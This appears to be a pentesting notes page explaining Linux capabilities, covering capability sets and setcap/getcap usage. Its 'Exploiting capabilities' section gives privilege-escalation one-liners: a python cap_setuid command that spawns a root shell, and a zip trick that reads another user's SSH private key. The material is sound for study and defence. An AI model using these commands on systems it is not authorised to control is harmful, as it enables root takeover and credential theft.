๐Ÿ› ๏ธ Capabilities

Theory

Linux capabilities are a way to improve permission granularity in unix-like systems. It allows to follow the least-privilege principle by defining fine-grained permissions that can be attributed to threads and files. It works by splitting kernel calls in groups of similar functionalities.
Basic processes : Have no capabilities (file access is controlled by traditional file privileges).
(Binary) files : Can have capabilities (filesystem-dependent).
Capabilities are in separated in 5 sets :
Set
Description
Effective set
the set that will be used when doing permission check.
Permitted set
can be moved to effective set by calling capset()
Inheritable set
can be inherited from parent processes, can be moved to effective set by calling capset()
Bounding set
list of all the capabilities a process can ever receive (in its inheritable/permitted sets)
Ambiant set
passed to non-suid files without defined capabilities
โ€‹

Capability inheritance, capability drop

  • On fork() call, the child thread will have the same capabilities as the parent thread.
  • capset() syscall allows to
    • drop any capability from any set
    • move capabilities from permitted/inherited sets to effective set
  • If a thread calls execve() on a binary file, its capabilities will be modified following the pattern described in the man pages (see man capabilities).
Non-exhaustive capability list :
Capability
Description
CAP_AUDIT_CONTROL
Toggle kernel auditing
CAP_AUDIT_WRITE
Write to kernel audit log
CAP_CHOWN
Change file owners
CAP_SETUID/CAP_SETGID
Change UID/GID
CAP_NET_RAW
Open raw and packet sockets
CAP_NET_BIND_SERVICE
Bind a socket to Internet domain privileged ports

Practice

Setting a file's capabilities :
To change capabilities on a file, you need to type these commands as root :
1
# set capability to change uid to file (+ep to add to effective & permitted)
2
setcap cap_setuid+ep /path/to/file
3
โ€‹
4
# delete capabilites
5
setcap -r /path/to/file
6
โ€‹
7
# get file(s) capabilities
8
getcap -r dir 2>/dev/null
9
getcap file
10
โ€‹
11
# listing & decoding a running process' capabilities
12
grep Cap /proc/$pid/status
13
capsh --decode=000001ffffffffff
Copied!
Exploiting capabilities :
  • Empty capabilities
    If a file has capabilities /path/to/file =ep it means it has all capabilities and will run as root.
To create a file with empty (=all) capabilities justsudo setcap \=ep /path/to/file
Other classic examples :
  • If the python binary has the cap_setuid then it becomes trivial to get a root shell :
1
./python -c "import os; os.setuid(0); os.system('/bin/sh')"
Copied!
  • Arbitrary file read : zip with cap_dac_read_search
1
# cap_dac_read_search allows zip/tar to read any file (get ssh private key here)
2
zip /tmp/private_k.zip ~/.ssh/id_rsa
3
unzip /tmp/private_k.zip -d /tmp
4
# id_rsa is now readable in the unzipped folder
Copied!
End notes :
When copied from one place to another, a binary will lose its capabilities. In order to keep capabilities, you can copy the file with --preserve=all option :
1
# to keep capabilities when copying a binary
2
cp --preserve=all /origin/path /dest/path
Copied!

Resources

Linux Capabilities: Why They Exist and How They Work
containersoluti
Understanding Capabilities inย Linux
Tinker, Tamper, Alter, Fry
Linux Privilege Escalation Using Capabilities
RangeForce
Last modified 3d ago
Copy link